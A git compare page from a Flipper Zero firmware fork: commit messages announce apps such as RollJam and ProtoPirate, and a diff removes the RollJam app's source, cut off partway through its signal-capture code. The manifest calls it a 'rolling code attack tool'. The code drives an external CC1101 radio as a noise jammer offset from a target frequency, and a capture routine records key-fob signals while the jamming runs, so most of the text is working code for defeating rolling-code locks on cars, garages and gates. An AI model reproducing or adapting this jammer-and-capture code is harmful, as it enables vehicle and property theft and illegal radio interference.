Compare commits

...

15 Commits

Author SHA1 Message Date
d4rks1d33 0d598b854c Added FlipperGB
Build Dev Firmware / build (push) Waiting to run
2026-07-02 22:45:05 -03:00
d4rks1d33 492cee4373 Fix frezze on exit FlipperDoom
Build Dev Firmware / build (push) Waiting to run
2026-07-02 22:17:59 -03:00
d4rks1d33 a0c53e381c Added better Doom for fun xD
Build Dev Firmware / build (push) Waiting to run
2026-07-02 20:50:10 -03:00
d4rks1d33 46d7e1263c Updated ProtoPirate, new Zero-Mega version (amazing updates)
Build Dev Firmware / build (push) Successful in 17m44s
2026-06-30 20:47:24 -03:00
d4rks1d33 426607f916 Thanks AussieMike for renaming Garage Door App, thanks to this ProtoPirate NOW is working!
Build Dev Firmware / build (push) Successful in 18m26s
2026-06-29 21:47:52 -03:00
d4rks1d33 5badcb6143 Fxck! 2.0 RollJam works + emulation only AM protocols -- ProtoPirate has the same base issue so when I finish fixing RollJam FM emulation should be able to replicate the fix into ProtoPirate
Build Dev Firmware / build (push) Failing after 14m51s
2026-06-27 00:59:44 -03:00
d4rks1d33 7ebd996eed Fxck! 2.0
Build Dev Firmware / build (push) Successful in 16m53s
2026-06-26 00:52:09 -03:00
d4rks1d33 e89b329b54 Fxck!
Build Dev Firmware / build (push) Failing after 14m46s
2026-06-25 20:22:59 -03:00
d4rks1d33 d490cfa8f4 pls work
Build Dev Firmware / build (push) Failing after 41s
2026-06-25 20:19:38 -03:00
d4rks1d33 abf0d8ca78 fixes 2026-06-25 20:14:09 -03:00
d4rks1d33 7f7022b960 Details
Build Dev Firmware / build (push) Failing after 42s
2026-06-25 01:44:50 -03:00
d4rks1d33 3a63e14399 Two new apps on SubGhz: Garage Door Remote (ProtoPirate for garage doors and gates, pretty much that), and RollJam (it works now, the only problem is that it doesn't emulate saved signals, but RollJam itself works...minor fixes). Big kudos to Zero-Mega who helped with both apps! 2026-06-25 01:38:16 -03:00
d4rks1d33 99ac826a49 Added script to easily add new tables to modulation hopping (depending on which specific modulation you want to use)
Build Dev Firmware / build (push) Successful in 17m30s
2026-06-13 17:12:39 -03:00
d4rks1d33 a3698f93a9 Improvements in modulation hopping. Thanks Zero-Mega
Build Dev Firmware / build (push) Successful in 16m28s
2026-06-13 16:56:02 -03:00
d4rks1d33 94dcc82483 Official Flipper Mobile APP is now working
Build Dev Firmware / build (push) Successful in 16m58s
2026-06-12 22:36:08 -03:00
651 changed files with 110932 additions and 16077 deletions
-23
View File
@@ -1,23 +0,0 @@
App(
appid="rolljam",
name="RollJam",
apptype=FlipperAppType.MENUEXTERNAL,
entry_point="rolljam_app",
stack_size=4 * 1024,
fap_category="Sub-GHz",
fap_icon="rolljam.png",
fap_icon_assets="images",
fap_libs=["assets"],
fap_description="RollJam rolling code attack tool",
fap_author="@user",
fap_version="1.0",
fap_weburl="",
requires=[
"gui",
"subghz",
"notification",
"storage",
"dialogs",
],
provides=[],
)
@@ -1,521 +0,0 @@
#include "rolljam_cc1101_ext.h"
#include <furi_hal_gpio.h>
#include <furi_hal_resources.h>
#include <furi_hal_cortex.h>
#include <furi_hal_power.h>
// ============================================================
// 5V OTG power
// ============================================================
static bool otg_was_enabled = false;
static bool use_flux_capacitor = false;
void rolljam_ext_set_flux_capacitor(bool enabled) {
use_flux_capacitor = enabled;
}
static void rolljam_ext_power_on(void) {
otg_was_enabled = furi_hal_power_is_otg_enabled();
if(!otg_was_enabled) {
uint8_t attempts = 0;
while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) {
furi_hal_power_enable_otg();
furi_delay_ms(10);
}
}
}
static void rolljam_ext_power_off(void) {
if(!otg_was_enabled) {
furi_hal_power_disable_otg();
}
}
static const GpioPin* pin_mosi = &gpio_ext_pa7;
static const GpioPin* pin_miso = &gpio_ext_pa6;
static const GpioPin* pin_cs = &gpio_ext_pa4;
static const GpioPin* pin_sck = &gpio_ext_pb3;
static const GpioPin* pin_gdo0 = &gpio_ext_pb2;
static const GpioPin* pin_amp = &gpio_ext_pc3;
// ============================================================
// CC1101 Registers
// ============================================================
#define CC_IOCFG2 0x00
#define CC_IOCFG0 0x02
#define CC_FIFOTHR 0x03
#define CC_SYNC1 0x04
#define CC_SYNC0 0x05
#define CC_PKTLEN 0x06
#define CC_PKTCTRL1 0x07
#define CC_PKTCTRL0 0x08
#define CC_FSCTRL1 0x0B
#define CC_FSCTRL0 0x0C
#define CC_FREQ2 0x0D
#define CC_FREQ1 0x0E
#define CC_FREQ0 0x0F
#define CC_MDMCFG4 0x10
#define CC_MDMCFG3 0x11
#define CC_MDMCFG2 0x12
#define CC_MDMCFG1 0x13
#define CC_MDMCFG0 0x14
#define CC_DEVIATN 0x15
#define CC_MCSM1 0x17
#define CC_MCSM0 0x18
#define CC_FOCCFG 0x19
#define CC_AGCCTRL2 0x1B
#define CC_AGCCTRL1 0x1C
#define CC_AGCCTRL0 0x1D
#define CC_FREND0 0x22
#define CC_FSCAL3 0x23
#define CC_FSCAL2 0x24
#define CC_FSCAL1 0x25
#define CC_FSCAL0 0x26
#define CC_TEST2 0x2C
#define CC_TEST1 0x2D
#define CC_TEST0 0x2E
#define CC_PATABLE 0x3E
#define CC_TXFIFO 0x3F
#define CC_PARTNUM 0x30
#define CC_VERSION 0x31
#define CC_MARCSTATE 0x35
#define CC_TXBYTES 0x3A
#define CC_SRES 0x30
#define CC_SCAL 0x33
#define CC_STX 0x35
#define CC_SIDLE 0x36
#define CC_SFTX 0x3B
#define MARC_IDLE 0x01
#define MARC_TX 0x13
// ============================================================
// Band calibration
// ============================================================
typedef struct {
uint32_t min_freq;
uint32_t max_freq;
uint8_t fscal3;
uint8_t fscal2;
uint8_t fscal1;
uint8_t fscal0;
} ExtBandCal;
static const ExtBandCal ext_band_cals[] = {
{ 299000000, 348000000, 0xEA, 0x2A, 0x00, 0x1F },
{ 386000000, 464000000, 0xE9, 0x2A, 0x00, 0x1F },
{ 778000000, 928000000, 0xEA, 0x2A, 0x00, 0x11 },
};
#define EXT_BAND_CAL_COUNT (sizeof(ext_band_cals) / sizeof(ext_band_cals[0]))
static const ExtBandCal* ext_get_band_cal(uint32_t freq) {
for(size_t i = 0; i < EXT_BAND_CAL_COUNT; i++) {
if(freq >= ext_band_cals[i].min_freq && freq <= ext_band_cals[i].max_freq)
return &ext_band_cals[i];
}
return &ext_band_cals[1];
}
static inline void spi_delay(void) {
for(int i = 0; i < 16; i++) __NOP();
}
static inline void cs_lo(void) { furi_hal_gpio_write(pin_cs, false); spi_delay(); }
static inline void cs_hi(void) { spi_delay(); furi_hal_gpio_write(pin_cs, true); spi_delay(); }
static bool wait_miso(uint32_t us) {
CoreDebug->DEMCR |= CoreDebug_DEMCR_TRCENA_Msk;
DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
uint32_t s = DWT->CYCCNT;
uint32_t t = (SystemCoreClock / 1000000) * us;
while(furi_hal_gpio_read(pin_miso)) {
if((DWT->CYCCNT - s) > t) return false;
}
return true;
}
static uint8_t spi_byte(uint8_t tx) {
uint8_t rx = 0;
for(int8_t i = 7; i >= 0; i--) {
furi_hal_gpio_write(pin_mosi, (tx >> i) & 0x01);
spi_delay();
furi_hal_gpio_write(pin_sck, true);
spi_delay();
if(furi_hal_gpio_read(pin_miso)) rx |= (1 << i);
furi_hal_gpio_write(pin_sck, false);
spi_delay();
}
return rx;
}
static uint8_t cc_strobe(uint8_t cmd) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
uint8_t s = spi_byte(cmd);
cs_hi();
return s;
}
static void cc_write(uint8_t a, uint8_t v) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return; }
spi_byte(a); spi_byte(v);
cs_hi();
}
static uint8_t cc_read_status(uint8_t a) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
spi_byte(a | 0xC0);
uint8_t v = spi_byte(0x00);
cs_hi();
return v;
}
static void cc_write_burst(uint8_t a, const uint8_t* d, uint8_t n) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return; }
spi_byte(a | 0x40);
for(uint8_t i = 0; i < n; i++) spi_byte(d[i]);
cs_hi();
}
static bool cc_reset(void) {
cs_hi(); furi_delay_us(30);
cs_lo(); furi_delay_us(30);
cs_hi(); furi_delay_us(50);
cs_lo();
if(!wait_miso(10000)) { cs_hi(); return false; }
spi_byte(CC_SRES);
if(!wait_miso(100000)) { cs_hi(); return false; }
cs_hi();
furi_delay_ms(5);
FURI_LOG_I(TAG, "EXT: Reset OK");
return true;
}
static bool cc_check(void) {
uint8_t p = cc_read_status(CC_PARTNUM);
uint8_t v = cc_read_status(CC_VERSION);
FURI_LOG_I(TAG, "EXT: PART=0x%02X VER=0x%02X", p, v);
return (v == 0x14 || v == 0x04 || v == 0x03);
}
static uint8_t cc_state(void) { return cc_read_status(CC_MARCSTATE) & 0x1F; }
static uint8_t cc_txbytes(void) { return cc_read_status(CC_TXBYTES) & 0x7F; }
static void cc_idle(void) {
cc_strobe(CC_SIDLE);
for(int i = 0; i < 500; i++) {
if(cc_state() == MARC_IDLE) return;
furi_delay_us(50);
}
}
static void cc_set_freq(uint32_t f) {
uint32_t r = (uint32_t)(((uint64_t)f << 16) / 26000000ULL);
cc_write(CC_FREQ2, (r >> 16) & 0xFF);
cc_write(CC_FREQ1, (r >> 8) & 0xFF);
cc_write(CC_FREQ0, r & 0xFF);
}
static bool cc_configure_jam(uint32_t freq) {
const ExtBandCal* cal = ext_get_band_cal(freq);
FURI_LOG_I(TAG, "EXT: Config OOK jam at %lu Hz", freq);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x2F);
cc_write(CC_PKTCTRL0, 0x00);
cc_write(CC_PKTCTRL1, 0x00);
cc_write(CC_PKTLEN, 0xFF);
cc_write(CC_FIFOTHR, 0x07);
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
cc_write(CC_MDMCFG4, 0x85);
cc_write(CC_MDMCFG3, 0x43);
cc_write(CC_MDMCFG2, 0x30);
cc_write(CC_MDMCFG1, 0x00);
cc_write(CC_MDMCFG0, 0xF8);
cc_write(CC_DEVIATN, 0x47);
cc_write(CC_MCSM1, 0x00);
cc_write(CC_MCSM0, 0x18);
cc_write(CC_FREND0, 0x11);
uint8_t pa[8] = {0x00,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
cc_write(CC_FSCAL3, cal->fscal3);
cc_write(CC_FSCAL2, cal->fscal2);
cc_write(CC_FSCAL1, cal->fscal1);
cc_write(CC_FSCAL0, cal->fscal0);
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
uint8_t st = cc_state();
FURI_LOG_I(TAG, "EXT: state=0x%02X FSCAL={0x%02X,0x%02X,0x%02X,0x%02X}",
st, cal->fscal3, cal->fscal2, cal->fscal1, cal->fscal0);
return (st == MARC_IDLE);
}
static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
const ExtBandCal* cal = ext_get_band_cal(freq);
FURI_LOG_I(TAG, "EXT: Config FSK jam at %lu Hz (wide=%d)", freq, wide);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x2F);
cc_write(CC_PKTCTRL0, 0x00);
cc_write(CC_PKTCTRL1, 0x00);
cc_write(CC_PKTLEN, 0xFF);
cc_write(CC_FIFOTHR, 0x07);
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
cc_write(CC_MDMCFG4, 0x85);
cc_write(CC_MDMCFG3, 0x43);
cc_write(CC_MDMCFG2, 0x00);
cc_write(CC_MDMCFG1, 0x00);
cc_write(CC_MDMCFG0, 0xF8);
cc_write(CC_DEVIATN, wide ? 0x47 : 0x15);
cc_write(CC_MCSM1, 0x00);
cc_write(CC_MCSM0, 0x18);
cc_write(CC_FREND0, 0x10);
uint8_t pa[8] = {0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
cc_write(CC_FSCAL3, cal->fscal3);
cc_write(CC_FSCAL2, cal->fscal2);
cc_write(CC_FSCAL1, cal->fscal1);
cc_write(CC_FSCAL0, cal->fscal0);
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
return (cc_state() == MARC_IDLE);
}
static void ext_gpio_init_spi_pins(void) {
furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_cs, true);
furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_sck, false);
furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_mosi, false);
furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
}
static void ext_gpio_deinit_spi_pins(void) {
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
}
void rolljam_ext_gpio_init(void) {
FURI_LOG_I(TAG, "EXT GPIO init (deferred to jam thread)");
if(use_flux_capacitor) {
furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
furi_hal_gpio_write(pin_amp, false);
}
}
void rolljam_ext_gpio_deinit(void) {
if(use_flux_capacitor) {
furi_hal_gpio_write(pin_amp, false);
furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
}
FURI_LOG_I(TAG, "EXT GPIO deinit");
}
// ============================================================
// Noise pattern & jam helpers
// ============================================================
static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
cc_strobe(CC_SFTX);
furi_delay_ms(1);
cc_write_burst(CC_TXFIFO, pattern, len);
cc_strobe(CC_STX);
furi_delay_ms(5);
}
static int32_t jam_thread_worker(void* context) {
RollJamApp* app = context;
bool is_fsk = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
uint32_t freq_pos = app->frequency + app->jam_offset_hz;
uint32_t freq_neg = app->frequency - app->jam_offset_hz;
FURI_LOG_I(TAG, "JAM thread start: target=%lu offset=%lu FSK=%d",
app->frequency, app->jam_offset_hz, is_fsk);
ext_gpio_init_spi_pins();
furi_delay_ms(5);
if(!cc_reset()) {
FURI_LOG_E(TAG, "JAM: Reset failed — CC1101 externo no conectado o mal cableado");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
if(!cc_check()) {
FURI_LOG_E(TAG, "JAM: Chip no detectado");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
bool jam_ok;
if(app->mod_index == ModIndex_FM238)
jam_ok = cc_configure_jam_fsk(freq_pos, false);
else if(app->mod_index == ModIndex_FM476)
jam_ok = cc_configure_jam_fsk(freq_pos, true);
else
jam_ok = cc_configure_jam(freq_pos);
if(!jam_ok) {
FURI_LOG_E(TAG, "JAM: Config failed");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
static const uint8_t noise_pattern[62] = {
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55
};
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, true);
jam_start_tx(noise_pattern, 62);
uint8_t st = cc_state();
if(st != MARC_TX) {
cc_idle();
jam_start_tx(noise_pattern, 62);
st = cc_state();
if(st != MARC_TX) {
FURI_LOG_E(TAG, "JAM: Cannot enter TX (state=0x%02X)", st);
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
}
FURI_LOG_I(TAG, "JAM: *** ACTIVE *** freq_pos=%lu", freq_pos);
uint32_t loops = 0;
uint32_t underflows = 0;
uint32_t refills = 0;
bool on_pos = true;
while(app->jam_thread_running) {
loops++;
if(is_fsk && (loops % 4 == 0)) {
cc_idle();
cc_strobe(CC_SFTX);
furi_delay_us(100);
on_pos = !on_pos;
cc_set_freq(on_pos ? freq_pos : freq_neg);
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
cc_strobe(CC_STX);
furi_delay_ms(1);
continue;
}
st = cc_state();
if(st != MARC_TX) {
underflows++;
cc_idle();
cc_strobe(CC_SFTX);
furi_delay_us(100);
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
cc_strobe(CC_STX);
furi_delay_ms(1);
continue;
}
uint8_t txb = cc_txbytes();
if(txb < 20) {
uint8_t space = 62 - txb;
if(space > 50) space = 50;
cc_write_burst(CC_TXFIFO, noise_pattern, space);
refills++;
}
if(loops % 500 == 0) {
FURI_LOG_I(TAG, "JAM: loops=%lu uf=%lu refills=%lu txb=%d",
loops, underflows, refills, cc_txbytes());
}
furi_delay_ms(50);
}
cc_idle();
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
cc_write(CC_IOCFG2, 0x2E);
ext_gpio_deinit_spi_pins();
FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills);
return 0;
}
// ============================================================
// Public API
// ============================================================
void rolljam_jammer_start(RollJamApp* app) {
if(app->jamming_active) return;
app->jam_frequency = app->frequency + app->jam_offset_hz;
app->jam_thread_running = true;
app->jamming_active = true;
rolljam_ext_power_on();
furi_delay_ms(50);
rolljam_ext_gpio_init();
app->jam_thread = furi_thread_alloc_ex("RJ_Jam", 4096, jam_thread_worker, app);
furi_thread_start(app->jam_thread);
FURI_LOG_I(TAG, ">>> JAMMER THREAD STARTED <<<");
}
void rolljam_jammer_stop(RollJamApp* app) {
if(!app->jamming_active) return;
app->jam_thread_running = false;
furi_thread_join(app->jam_thread);
furi_thread_free(app->jam_thread);
app->jam_thread = NULL;
rolljam_ext_gpio_deinit();
rolljam_ext_power_off();
app->jamming_active = false;
FURI_LOG_I(TAG, ">>> JAMMER STOPPED <<<");
}
@@ -1,23 +0,0 @@
#pragma once
#include "../rolljam.h"
/*
* External CC1101 module connected via GPIO (bit-bang SPI).
* Used EXCLUSIVELY for JAMMING (TX).
*
* Wiring (as connected):
* CC1101 VCC -> Flipper Pin 9 (3V3)
* CC1101 GND -> Flipper Pin 11 (GND)
* CC1101 MOSI -> Flipper Pin 2 (PA7)
* CC1101 MISO -> Flipper Pin 3 (PA6)
* CC1101 SCK -> Flipper Pin 5 (PB3)
* CC1101 CS -> Flipper Pin 4 (PA4)
* CC1101 GDO0 -> Flipper Pin 6 (PB2)
*/
void rolljam_ext_gpio_init(void);
void rolljam_ext_set_flux_capacitor(bool enabled);
void rolljam_ext_gpio_deinit(void);
void rolljam_jammer_start(RollJamApp* app);
void rolljam_jammer_stop(RollJamApp* app);
@@ -1,689 +0,0 @@
#include "rolljam_receiver.h"
#include <furi_hal_subghz.h>
#include <furi_hal_rtc.h>
#define CC_IOCFG0 0x02
#define CC_FIFOTHR 0x03
#define CC_MDMCFG4 0x10
#define CC_MDMCFG3 0x11
#define CC_MDMCFG2 0x12
#define CC_MDMCFG1 0x13
#define CC_MDMCFG0 0x14
#define CC_DEVIATN 0x15
#define CC_MCSM0 0x18
#define CC_FOCCFG 0x19
#define CC_AGCCTRL2 0x1B
#define CC_AGCCTRL1 0x1C
#define CC_AGCCTRL0 0x1D
#define CC_FREND0 0x22
#define CC_FSCAL3 0x23
#define CC_FSCAL2 0x24
#define CC_FSCAL1 0x25
#define CC_FSCAL0 0x26
#define CC_PKTCTRL0 0x08
#define CC_PKTCTRL1 0x07
#define CC_FSCTRL1 0x0B
#define CC_WORCTRL 0x20
#define CC_FREND1 0x21
// OOK 650kHz
static const uint8_t preset_ook_650_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x07,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x30,
CC_MDMCFG3, 0x32,
CC_MDMCFG4, 0x17,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x18,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x11,
CC_FREND1, 0xB6,
0x00, 0x00,
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// OOK 270kHz
static const uint8_t preset_ook_270_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x30,
CC_MDMCFG3, 0x32,
CC_MDMCFG4, 0x67,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x18,
CC_AGCCTRL0, 0x40,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x03,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x11,
CC_FREND1, 0xB6,
0x00, 0x00,
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// 2FSK Dev 2.38kHz
static const uint8_t preset_2fsk_238_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x15,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// 2FSK Dev 47.6kHz
static const uint8_t preset_2fsk_476_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// TX OOK
static const uint8_t preset_ook_tx[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x07,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x30,
CC_MDMCFG3, 0x32,
CC_MDMCFG4, 0x17,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x18,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x11,
CC_FREND1, 0xB6,
0x00, 0x00,
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t preset_fsk_tx_238[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x15,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t preset_fsk_tx_476[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// ============================================================
// Capture state machine
// ============================================================
#define MIN_PULSE_US 100
#define MAX_PULSE_US 32767
#define SILENCE_GAP_US 50000
#define MIN_FRAME_PULSES 40
#define AUTO_ACCEPT_PULSES 300
#define MAX_CONTINUOUS_SAMPLES 800
static bool rolljam_is_jammer_pattern_mod(RawSignal* s, uint8_t mod_index) {
if(s->size < 20) return false;
// Calcular estadísticas una sola vez
int16_t max_abs = 0;
int64_t sum = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t v = s->data[i] > 0 ? s->data[i] : -s->data[i];
if(v > max_abs) max_abs = v;
sum += v;
}
int32_t mean = (int32_t)(sum / (int64_t)s->size);
FURI_LOG_D(TAG, "JamCheck: mod=%d max=%d mean=%ld size=%d",
mod_index, max_abs, mean, (int)s->size);
if(mod_index == 2 || mod_index == 3) { // ModIndex_FM238=2, FM476=3
if((int)s->size < 120) {
FURI_LOG_W(TAG, "Jammer FSK rechazado: size=%d < 120", (int)s->size);
return true;
}
return false;
}
if(max_abs < 25000) {
FURI_LOG_W(TAG, "Jammer AM650 rechazado: max=%d < 25000", max_abs);
return true;
}
if(mod_index == 1) { // ModIndex_AM270=1
if(mean < 3000) {
FURI_LOG_W(TAG, "Jammer AM270 rechazado: mean=%ld < 3000 (max=%d)", mean, max_abs);
return true;
}
}
return false;
}
#define MIN_VARIANCE 2000
static bool rolljam_has_sufficient_variance(RawSignal* s) {
if(s->size < 20) return false;
int64_t sum = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t val = s->data[i];
sum += (val > 0) ? val : -val;
}
int32_t mean = (int32_t)(sum / (int64_t)s->size);
int64_t var_sum = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t val = s->data[i];
int32_t abs_val = (val > 0) ? val : -val;
int32_t diff = abs_val - mean;
var_sum += (int64_t)diff * diff;
}
int32_t variance = (int32_t)(var_sum / (int64_t)s->size);
bool has_var = (variance > MIN_VARIANCE);
FURI_LOG_I(TAG, "Variance: mean=%ld var=%ld %s",
mean, variance, has_var ? "PASS" : "FAIL");
return has_var;
}
typedef enum {
CapWaiting,
CapRecording,
CapDone,
} CapState;
typedef struct {
volatile CapState state;
volatile int valid_count;
volatile int total_count;
volatile bool target_first;
volatile uint32_t callback_count;
volatile uint32_t continuous_count;
float rssi_baseline;
uint8_t mod_index;
} CapCtx;
static CapCtx g_cap;
static void cap_ctx_reset(CapCtx* c) {
c->state = CapWaiting;
c->valid_count = 0;
c->total_count = 0;
c->callback_count = 0;
c->continuous_count = 0;
}
static void capture_rx_callback(bool level, uint32_t duration, void* context) {
RollJamApp* app = context;
if(!app->raw_capture_active) return;
if(g_cap.state == CapDone) return;
g_cap.callback_count++;
RawSignal* target = g_cap.target_first ? &app->signal_first : &app->signal_second;
if(target->valid) return;
uint32_t dur = duration;
bool is_silence = (dur > SILENCE_GAP_US);
bool is_medium_gap = (dur > 5000 && dur <= SILENCE_GAP_US);
if(dur > 32767) dur = 32767;
switch(g_cap.state) {
case CapWaiting:
g_cap.continuous_count = 0;
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US && !is_silence) {
target->size = 0;
g_cap.valid_count = 0;
g_cap.total_count = 0;
g_cap.state = CapRecording;
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
g_cap.valid_count++;
g_cap.total_count++;
g_cap.continuous_count = 1;
}
break;
case CapRecording:
g_cap.continuous_count++;
if(g_cap.continuous_count > MAX_CONTINUOUS_SAMPLES && !is_medium_gap && !is_silence) {
target->size = 0;
